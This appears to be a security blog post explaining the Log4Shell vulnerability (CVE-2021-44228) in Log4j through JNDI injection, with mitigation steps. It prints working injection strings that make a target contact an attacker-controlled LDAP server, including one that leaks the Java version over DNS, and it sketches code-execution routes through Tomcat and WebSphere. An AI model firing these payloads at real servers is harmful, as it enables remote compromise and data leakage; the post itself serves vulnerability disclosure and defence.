Vulnerability notes: Log4Shell

Everything you should know about the Log4Shell vulnerability (CVE-2021-44228)

“Log4Shell” (CVE-2021-44228) is a pretty epic vulnerability in the Java logging library “Log4j”. This blog post (hopefully) contains everything you need to know about this vulnerability and how to mitigate it. It was written in a hurry, we will add additional details and remarks in the upcoming days.

Introduction

Log4j is a commonly used logging library in the Java world. It does what a logging library should do, is fast and integrates well with existing application servers. Here a minimal example that uses user provided input to create a log entry.

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        // User controls the log message
        logger.error(args[0]);
    }
}

Log4j is pretty flexible and has multiple advanced features. One of these features are “lookup” plugins. From the official Log4J documentation":

Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface.

Log4j includes multiple lookup plugins which can be used to access different kind of information, for example the docker container or the current Java version. If you read the previous quote carefully, it says “arbitrary” places, which includes the log message itself! Here a minimal example that adds the current Java version to the log message:

${java:version}

Most of the time, this is not really useful for an attacker. The value will be stored in the log of the application, and (most of the time) not displayed. However, with the “JNDI lookup” plugin, things are bit different. Again, from the official documentation, which was introduced with LOG4J2-313:

The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a “:” no prefix will be added.

CVE-2021-44228 allows an attacker to control the URL of the JNDI resource that will be accessed by Log4j. To understand why this is interesting and why this works we need to cover some JNDI basics first. I will keep it short.

JNDI 101

JNDI stands for “Java Naming and Directory Interface” and provides a way to retrieve Java objects stored in a directory service like LDAP. One of the most common JNDI use cases is to retrieve a “connection” object that is then used to access the database backend.

Here a minimal example. We use JNDI to retrieve a object that is stored under the Name “MyLocalDB”.


// Get the object with the name "MyLocalDB" from JNDI and cast it
// to a DataSource object
Context ctx = new InitialContext();
Context initCtx = (Context) ctx.lookup("java:/comp/env");
DataSource ds = (DataSource) initCtx.lookup("MyLocalDB");

con = ds.getConnection();

This approach has multiple advantages: For example, you can configure different connection objects for different environments (dev/uat/prod). By doing so, you can deploy your app in each environment without changing one line of the application config.

JNDI exploitation

Now let’s move on to JNDI injection attacks. Again I will only explain the bare minimum here, if you are keen for all juicy details have a look at the exellent Blackhat talk and Whitepaper from Alvaro Muñoz and Oleksandr Mirosh.

What is important to understand is what happens in the background when a service uses JNDI to retrieve an object from a directory server:

  • The directory service does not to be Java based as it only need to provide a serialized version of the referenced object, which gets deserialized by the JNDI client. This is done via native Java serialization (oh oh).

  • Sometimes the object can’t be stored in the directory service: It might exceed the maximum object size of the used service or the object class is not serializable. To deal with this scenario, JNDI provides a feature that allows you to download the compiled Java code from a web server. Java will make a GET request to that service and happily create a new instance of that class (sight)!

Exploitation scenarios

To make a JNDI attack work, attackers must be able to trick the target application into making a JNDI connection to an attacker-controlled directory (RMI/LDAP/CORBA) service. There are various scenarios when this could happen:

  1. The attacker has access to an admin interface and can define or modify a JNDI resource there.
  2. Exploiting a deserialization vulnerability: The attacker needs a gadget or gadget chain that causes the victim service to make a outgoing JNDI connection. Multiple of such gadgets exists, JNDI injection is a central attack pattern when it comes to attacking unmarshallers.
  3. The attacker already has partial control over entries in the directory service that gets queried by the JNDI client, for example a user account in Active Directory.
  4. The attacker has full control over the of the object name (!!!).

The last case is important for understanding the Log4j vulnerability: Take a look at the next code example. We assume that the attacker can control the resource name that should be looked up via JNDI. This seems harmless, after all the attacker is not able to control the URL of the directory service, right?

public class JNDIExample {

  public static void main(String[] args) {
    try {
 
      if(args.length != 1) {
        System.err.println("Error: Please provide the name of the object to lookup");
        System.exit(1);
      }

      // Create the Initial Context configured to work with an RMI Registry
      Hashtable env = new Hashtable();
      env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
      
      // Source of the directory service. A attacker wants to control this:
      env.put(Context.PROVIDER_URL, "ldap://localhost:389");
      Context ctx = new InitialContext(env);
  
      // Look up the object name, passed on the comand line
     Object local_obj = ctx.lookup(args[0]);

     }
     catch (Exception ex) {
      System.err.println("Exception: " + ex);
     }
  }
}

This looks similar to the example from the Log4j JNDI lookup plugin documentation. You “should” only have control over the name, not the URL of the directory service:

<File name="Application" fileName="application.log">
  <PatternLayout>
    <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
  </PatternLayout>
</File>

Well no! As Muñoz and Mirosh describe in their paper (page 8), the Context.lookup method tries to be smart and allows you to dynamically switch protocol and address in case of an absolute Uniform Resource Locator (URL)

We can cause a JNDI connection to our naming server by providing a JNDI URL as Object name. This is what happens in the case of the Log4j vulnerability. Here the “PoC” for Log4j. This can easily be confirmed by using a URL from Burp collaborator or interact.sh:

${jndi:ldap://my-evil-ldap-server.mogwailabs.de/mogwailabs}

So we can connect to our malicious directory service. Attackers can use existing tools like rouge-JNDI for this.

Real world exploitation thoughts

To actually exploit this vulnerability we need to take the following things into account:

  • The target must allow outgoing connections to your directory service. Just receiving a outgoing DNS request is not sufficient. You can still use DNS to leak server/environment variables, which might help you to gain RCE when exploiting other issues.

  • JNDI injections a well-known exploit technique. To reduce the risk a bit, Oracle disabled Remote class loading from RMI/CORBA in Java 8_121. In Java Java 6u211, 7u201, 8u191, and 11.0.1 remote class loading was also disabled for LDAP services, which closed the “easy remote exploitation” door. It is possible to re-enable this feature through a configuration setting, but I don’t know any application that does this. As Log4j allows nesting variables, you can find out if the target is using a outdated Java version by leaking it via DNS: ${jndi:ldap://${java:version}.yourdomain.com/xyz}

  • Reliable code execution is still possible with latest Java versions if your target is running on Apache Tomcat. This is caused by the “org.apache.naming.factory.BeanFactory” class. I won’t go into details here, please have a look at the excellent blog post from Michael Stepankin instead.

  • Reliable code execution might also be possible if your target is using WebSphere. By using some WSDL triggery, it possible to place a JAR file in the /tmp/ directory and load it from there. I did not test this one, but it should work. A example payload is also part of the “rouge-jndi” tool. I also not aware if this gadget has been fixed and therefore only affects certain WebSphere versions.

  • Attackers could still attack native deserialization by providing a malicious object in the directory service. These attacks are also well understood, however we are now dealing with a much larger number of affected applications that are vulnerable. Before this vulnerability, your target must deserialize user provided objects, now it is sufficient to put user controlled input into a log file.

Vulnerability mitigations

Developers have the following options to mitigate this attack (please also take a look at the official Apache advisory): You should upgrade to Log4j v2.15.0 If you are using Log4j 2.10 or above and can’t upgrade, it is possible to disable lookups within messages by setting the following property:

log4j2.formatMsgNoLookups=true

You can also prevent exploitation by removing the JndiLookup class from the log4j JAR-file.

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Summary

This vulnerability is pretty serious and will be heavily exploited in 2022. Patch ASAP :)


Thanks to C D-X on Unsplash for the title picture.